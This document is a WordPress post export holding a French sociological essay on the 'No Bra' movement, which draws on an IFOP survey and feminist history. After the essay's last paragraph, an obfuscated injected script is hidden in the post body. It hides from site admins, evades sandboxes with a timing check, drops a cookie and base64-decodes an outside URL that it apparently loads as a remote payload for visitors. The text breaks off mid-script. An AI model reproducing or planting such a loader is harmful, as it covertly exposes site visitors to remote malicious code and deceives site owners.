{"id":1500,"date":"2021-01-08T13:14:11","date_gmt":"2021-01-08T12:14:11","guid":{"rendered":"http:\/\/culturelle.free.fr\/voyage\/?p=1500"},"modified":"2021-01-08T13:14:11","modified_gmt":"2021-01-08T12:14:11","slug":"le-mouvement-no-bra-une-revendication-feministe","status":"publish","type":"post","link":"https:\/\/time-travel.fr\/?p=1500","title":{"rendered":"Le mouvement \u00ab\u00a0No Bra\u00a0\u00bb, une revendication f\u00e9ministe?"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>Le constat<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>En France, l&rsquo;\u00e9pid\u00e9mie de Covid-19 et la premi\u00e8re p\u00e9riode de confinement (17 mars &#8211; 11 mai 2020) ont contribu\u00e9 \u00e0 l&rsquo;\u00e9volution des repr\u00e9sentations et des pratiques, notamment en mati\u00e8re corporelle et vestimentaire. C&rsquo;est ainsi qu&rsquo;une <a href=\"https:\/\/www.ifop.com\/wp-content\/uploads\/2020\/07\/Rapport_Ifop_Nobra_2020.07.15.pdf\">\u00e9tude de l&rsquo;IFOP<\/a>, r\u00e9alis\u00e9e sous la forme d&rsquo;un questionnaire auto-administr\u00e9 en ligne du 9 au 12 juin 2020, laisse appara\u00eetre qu&rsquo;une femme de moins de 25 ans sur cinq d\u00e9clare ne jamais porter de soutien-gorge, <strong>soit environ 4 fois plus qu&rsquo;avant le confinement<\/strong>. Et m\u00eame si le \u00ab\u00a0No Bra\u00a0\u00bb reste une pratique encore peu d\u00e9velopp\u00e9e, elle s&rsquo;est accrue parmi les femmes de tous \u00e2ges \u2013\u00a0 passant de 3% avant le confinement \u00e0 7% aujourd&rsquo;hui.<\/li>\n<li>Au-del\u00e0 de sa dimension statistique, le mouvement \u00ab\u00a0No Bra\u00a0\u00bb se diffuse d\u00e8s 2012 sur les r\u00e9seaux sociaux, dans les blogs et dans la presse, notamment \u00e0 travers la campagne lanc\u00e9e par la r\u00e9alisatrice am\u00e9ricaine Lina Esco &#8211; #freethenipple (\u00ab\u00a0lib\u00e9rer le mamelon\u00a0\u00bb) &#8211; qui sera suivie par le <a href=\"https:\/\/en.wikipedia.org\/wiki\/Free_the_Nipple_(film)\">film du m\u00eame nom<\/a> (2014). Il est aussi soutenu par de nombreuses stars hollywoodiennes.<\/li>\n<li>En 2018, le hashtag #Nobrachallenge se d\u00e9ploie sur les r\u00e9seaux sociaux. En mai 2020, le tweet de la journaliste Tomi Obaro (\u201c<a href=\"https:\/\/webcache.googleusercontent.com\/search?q=cache:TM0lE1oPb4MJ:https:\/\/twitter.com\/tomiobaro\/status\/1260198944094724097+&amp;cd=19&amp;hl=fr&amp;ct=clnk&amp;gl=fr\">Je n\u2019imagine pas vraiment le soutien-gorge faire son retour apr\u00e8s \u00e7a<\/a>\u201d) re\u00e7oit plus d\u2019un demi-million de <em>likes.<\/em><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Comment comprendre cette \u00e9volution? Effet de mode? Mouvement de fond?<\/p>\n<p>1- Le confinement: un contexte favorable<\/p>\n<p style=\"text-align: justify;\">Le confinement a d\u00e9termin\u00e9 une forte r\u00e9duction des contacts et d\u00e9placements, tandis que le travail \u00e0 domicile se d\u00e9veloppait sous la forme du t\u00e9l\u00e9travail. Ces facteurs ont contribu\u00e9 \u00e0 favoriser l&rsquo;accroissement de la pratique du \u00ab\u00a0No Bra\u00a0\u00bb.<\/p>\n<p style=\"text-align: justify;\">D&rsquo;une part, la moindre fr\u00e9quence des d\u00e9placements a r\u00e9duit la n\u00e9cessit\u00e9 de maintien des seins, tandis que la distanciation sociale a permis de s&rsquo;affranchir du regard d&rsquo;autrui.\u00a0 L&rsquo;effet du souci de l&rsquo;apparence physique n&rsquo;est pas sp\u00e9cifique au port du soutien-gorge: entre 1950 et 1980, la hausse du salariat f\u00e9minin a contribu\u00e9 \u00e0 <a href=\"https:\/\/www.persee.fr\/doc\/estat_0336-1454_1986_num_192_1_2506\">l&rsquo;inversion du rapport entre les d\u00e9penses d&rsquo;habillement<\/a> des hommes et des femmes au profit de ces derni\u00e8res.<\/p>\n<p style=\"text-align: justify;\">Toutefois, si la fin du confinement n&rsquo;a pas sign\u00e9 le retour du soutien-gorge, c&rsquo;est parce que d&rsquo;autres facteurs doivent \u00eatre pris en compte pour appr\u00e9hender l&rsquo;\u00e9volution des pratiques. L&rsquo;enqu\u00eate de l&rsquo;IFOP r\u00e9v\u00e8le notamment que plus d&rsquo;une adepte du \u00ab\u00a0No Bra\u00a0\u00bb sur deux cite comme premier motif \u00ab\u00a0l&rsquo;inconfort procur\u00e9 par le port du soutien-gorge\u00a0\u00bb pour expliquer sa pratique.<\/p>\n<p style=\"text-align: justify;\">2) La recherche de confort : une tendance de fond<\/p>\n<p style=\"text-align: justify;\">Le XX<sup>e<\/sup> si\u00e8cle est celui du refus croissant des contraintes vestimentaires et de l&rsquo;intrusion d\u2019une\u00a0 logique sportive dans les v\u00eatements du quotidien: d\u00e8s les ann\u00e9es 1960, on assiste \u00e0 la baisse des ventes dans certains secteurs de l&rsquo;habillement (costumes, chemiserie\u2026), tandis que les jeans, les shorts, les v\u00eatements sportifs se diffusent.<\/p>\n<p style=\"text-align: justify;\">Le soutien-gorge n&rsquo;\u00e9chappe pas \u00e0 la r\u00e8gle : plusieurs responsables <em>marketing<\/em> de marques de lingerie t\u00e9moignent d&rsquo;une tendance \u00ab\u00a0slow bra\u00a0\u00bb qui contribue \u00e0 orienter la demande vers des mod\u00e8les plus confortables \u2013 tandis que les achats de soutiens-gorges avec armatures ne cessent de perdre du terrain (<em>Le Monde<\/em>, 19\/11\/2018).<\/p>\n<ul style=\"text-align: justify;\">\n<li>La fonction symbolique et identitaire du v\u00eatement<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Le v\u00eatement n&rsquo;est pas un simple bien de consommation. Au-del\u00e0 de sa fonction protectrice,\u00a0 il renvoie \u00e0 des dimensions symboliques et identitaires. Il refl\u00e8te notamment les valeurs culturelles dominantes d\u2019une soci\u00e9t\u00e9, ses hi\u00e9rarchies, et constitue un instrument de diff\u00e9renciation entre les sexes, comme le r\u00e9v\u00e8le par exemple l&rsquo;interdiction durable du port \u00ab\u00a0de la culotte\u00a0\u00bb pour les femmes, suppos\u00e9e menacer\u00a0 le rapport de force au sein du couple. Le sociologue Pierre Bourdieu d\u00e9crit la jupe comme \u00ab\u00a0<a href=\"http:\/\/www.homme-moderne.org\/societe\/socio\/bourdieu\/Btele983.html\">un corset invisible, qui impose une tenue et une retenue, une mani\u00e8re de s\u2019asseoir et de marcher<\/a>\u00ab\u00a0. Aussi dans l&rsquo;histoire, l&rsquo;\u00e9mancipation f\u00e9minine s\u2019est notamment incarn\u00e9e dans la \u00ab masculinisation \u00bb du v\u00eatement (pantalon) et de la coiffure (cheveux coup\u00e9s \u00ab court \u00bb), tandis que la mode de la mini-jupe, dans les ann\u00e9es 1960, traduit une revendication de lib\u00e9ration sexuelle.<\/p>\n<p style=\"text-align: justify;\">Le v\u00eatement \u00e9tablit aussi une fronti\u00e8re entre espace public et priv\u00e9, au sens o\u00f9 il sert \u00e0 cacher les zones jug\u00e9es impudiques, qui sont couvertes. Toutefois les notions de d\u00e9cence et de pudeur sont relatives: jusqu&rsquo;au XIX<sup>e<\/sup> si\u00e8cle, dans de nombreuses cultures, notamment en Asie, la nudit\u00e9 mammaire est de r\u00e8gle, et le sein f\u00e9minin n&rsquo;est pas forc\u00e9ment per\u00e7u comme sexualis\u00e9, c&rsquo;est-\u00e0-dire destin\u00e9 au plaisir masculin. Le tabou culturel et social associ\u00e9 \u00e0 la nudit\u00e9 \u00e9merge progressivement et tend \u00e0 s&rsquo;\u00e9tendre \u00e0 des situations autrefois jug\u00e9es culturellement l\u00e9gitimes, comme l&rsquo;allaitement.<\/p>\n<p style=\"text-align: justify;\">C&rsquo;est pourquoi la tendance \u00ab\u00a0No Bra\u00a0\u00bb se doit d&rsquo;\u00eatre r\u00e9inscrite dans un contexte historique plus large, celui du mouvement pour le droit aux seins nus.<\/p>\n<p style=\"text-align: justify;\">4) Le mouvement pour le droit aux seins nus<\/p>\n<p style=\"text-align: justify;\">Le sein a toujours \u00e9t\u00e9 per\u00e7u \u00e0 travers une double dimension anatomique et symbolique \u2013 et comme symbole \u00e9rotique et nourricier. L&rsquo;historienne am\u00e9ricaine Marilyn Yalom, dans son ouvrage \u00ab\u00a0<a href=\"https:\/\/livre.fnac.com\/a2843324\/Marilyn-Yalom-Le-sein-Une-histoire\">Le Sein, une histoire<\/a>\u00ab\u00a0(1997) ouvre la voie vers une interrogation majeure: \u00ab\u00a0\u00c0 qui appartiennent les seins?\u00a0\u00bb<\/p>\n<p style=\"text-align: justify;\">Dans cette perspective, le mouvement \u00ab\u00a0No Bra\u00a0\u00bb ne se r\u00e9duit pas \u00e0 la recherche d&rsquo;une finalit\u00e9 (le confort) mais doit \u00eatre interpr\u00e9t\u00e9 comme une action rationnelle par rapport \u00e0 des valeurs. C&rsquo;est ainsi qu&rsquo;outre le mobile de l&rsquo;inconfort, les enqu\u00eat\u00e9es de l&rsquo;IFOP associent la pratique du \u00ab\u00a0No Bra\u00a0\u00bb \u00e0 l&rsquo;ext\u00e9rieur du domicile au \u00ab\u00a0souhait de se lib\u00e9rer des normes esth\u00e9tiques\u00a0\u00bb (17%) et de \u00ab\u00a0lutter contre la sexualisation des seins f\u00e9minins\u00a0\u00bb (15%). Ces mobiles sont beaucoup plus souvent cit\u00e9s parmi les moins de 25 ans (respectivement 24% et 32%).<\/p>\n<p style=\"text-align: justify;\">Ces mobiles s&rsquo;inscrivent dans le paradigme central du mouvement f\u00e9ministe pour le droit \u00e9gal aux seins nus qui associe notamment l&rsquo;interdiction du d\u00e9nudement des femmes \u00e0 un dispositif de contr\u00f4le du corps f\u00e9minin. <a href=\"https:\/\/hal.archives-ouvertes.fr\/hal-02811632\/document\">Ce courant international<\/a> se d\u00e9veloppe dans les ann\u00e9es 1990 au Canada (TERA), aux EU, puis essaime dans des pays europ\u00e9ens comme la Su\u00e8de (Bare Br\u00f6st), le Danemark, la France (les Tumultueuses).\u00a0 Il d\u00e9nonce la mauvaise foi et l&rsquo;incoh\u00e9rence des lois qui autorisent l&rsquo;exhibition de seins nus dans les magazines et les m\u00e9dias, et s&rsquo;en offusquent quand ce sont les femmes qui le d\u00e9cident \u2013 par exemple l&rsquo;interdiction de publier des photos de mamelons <a href=\"http:\/\/leplus.nouvelobs.com\/contribution\/1211019-nudite-et-reseaux-sociaux-du-grotesque-au-burlesque-liberons-les-tetons.html\">sur les r\u00e9seaux sociaux<\/a>. Dans cette perspective, ne pas porter de soutien-gorge constitue un moyen symbolique de se r\u00e9approprier de son corps dans l&rsquo;espace public et de lutter contre la soumission croissante \u00e0 des normes esth\u00e9tiques globalis\u00e9es.<\/p>\n<p style=\"text-align: justify;\">Il appara\u00eet ainsi que pour de nombreuses femmes, l&rsquo;abandon du soutien-gorge incarne une dimension protestataire qui s&rsquo;apparente aux nouvelles formes de l&rsquo;action collective qui \u00e9mergent \u00e0 partir des ann\u00e9es 1980. \u00a0Souvent fond\u00e9es sur le recours \u00e0 l&rsquo;expertise et aux armes juridiques, ces nouvelles formes de l&rsquo;engagement sont moins institutionnalis\u00e9es et rec\u00e8lent une forte connotation symbolique ainsi qu&rsquo;une dimension spectaculaire qui attire l&rsquo;attention des m\u00e9dias et de l&rsquo;opinion publique.<\/p>\n<p style=\"text-align: justify;\">Conclusion<\/p>\n<p style=\"text-align: justify;\">L&rsquo;analyse nous montre que le mouvement \u00ab\u00a0No Bra\u00a0\u00bb ne constitue pas seulement une mode, que le sein et ses attributs vestimentaires <a href=\"https:\/\/hal.science\/hal-02811632v1\/document\" target=\"_blank\" rel=\"noopener noreferrer\">font partie du r\u00e9pertoire de l&rsquo;action collective f\u00e9ministe contemporaine<\/a>, qui incorpore une forte dimension symbolique visant \u00e0 la r\u00e9appropriation du corps des femmes. Cette strat\u00e9gie se heurte \u00e0 deux principaux obstacles.<\/p>\n<p style=\"text-align: justify;\">En premier lieu, l&rsquo;enqu\u00eate de l&rsquo;IFOP laisse appara\u00eetre que pour plus d&rsquo;une femme sur deux \u2013 et pour\u00a0 70% des moins de 25 ans, c&rsquo;est \u00ab\u00a0la g\u00eane \u00e0 l&rsquo;id\u00e9e que les gens voient leurs t\u00e9tons\u00a0\u00bb qui freine l&rsquo;abandon du soutien-gorge. Cette g\u00eane est directement associ\u00e9e \u00e0 la \u00ab\u00a0crainte de faire l&rsquo;objet d&rsquo;une agression verbale, physique ou sexuelle\u00a0\u00bb (57% des moins de 25 ans). Cette peur s&rsquo;ancre dans un environnement qui normalise et justifie la violence sexuelle, qui s&rsquo;identifie \u00e0 une <a href=\"https:\/\/www.unwomen.org\/fr\/news\/stories\/2019\/11\/compilation-ways-you-can-stand-against-rape-culture\">culture du viol<\/a> : 20% des enqu\u00eat\u00e9s de l&rsquo;IFOP consid\u00e8rent que le fait de laisser voir ses t\u00e9tons peut \u00eatre \u00ab\u00a0une circonstance aggravante en cas d&rsquo;agression sexuelle\u00a0\u00bb.<\/p>\n<p style=\"text-align: justify;\">Enfin,\u00a0 l&rsquo;absence de soutien-gorge, tout comme la pratique des <a href=\"https:\/\/www.persee.fr\/doc\/rfsoc_0035-2969_1996_num_37_1_7096\">seins nus \u00e0 la plage<\/a>, est loin d&rsquo;\u00eatre toujours embl\u00e9matique de la transgression des normes. \u00c0 l&rsquo;inverse, elle peut repr\u00e9senter le r\u00e9sultat d&rsquo;une construction active qui inaugure de nouvelles normes esth\u00e9tiques \u2013 par exemple quand certaines femmes \u00e9voquent la fin des \u00ab\u00a0vilaines marques blanches\u00a0\u00bb, ou bien en renfor\u00e7ant la normativit\u00e9 de l&rsquo;espace de la plage, en y instituant la norme implicite de la beaut\u00e9, de la minceur, de la jeunesse. Et si l&rsquo;abandon du soutien-gorge peut permettre de lutter contre la globalisation des normes esth\u00e9tiques \u00e0 travers l&rsquo;acceptation d&rsquo;une plus grande diversit\u00e9, il peut aussi contribuer \u00e0 accro\u00eetre les op\u00e9rations de chirurgie esth\u00e9tique: selon une \u00e9tude men\u00e9e par le <em>Plastic Surgery Group <\/em>en 2016, les demandes d&rsquo;intervention sur le mamelon seraient en tr\u00e8s <a href=\"https:\/\/www.lexpress.fr\/styles\/soins\/chirurgie-mammaire-je-veux-des-tetons-qui-pointent_2056217.html\">forte augmentation<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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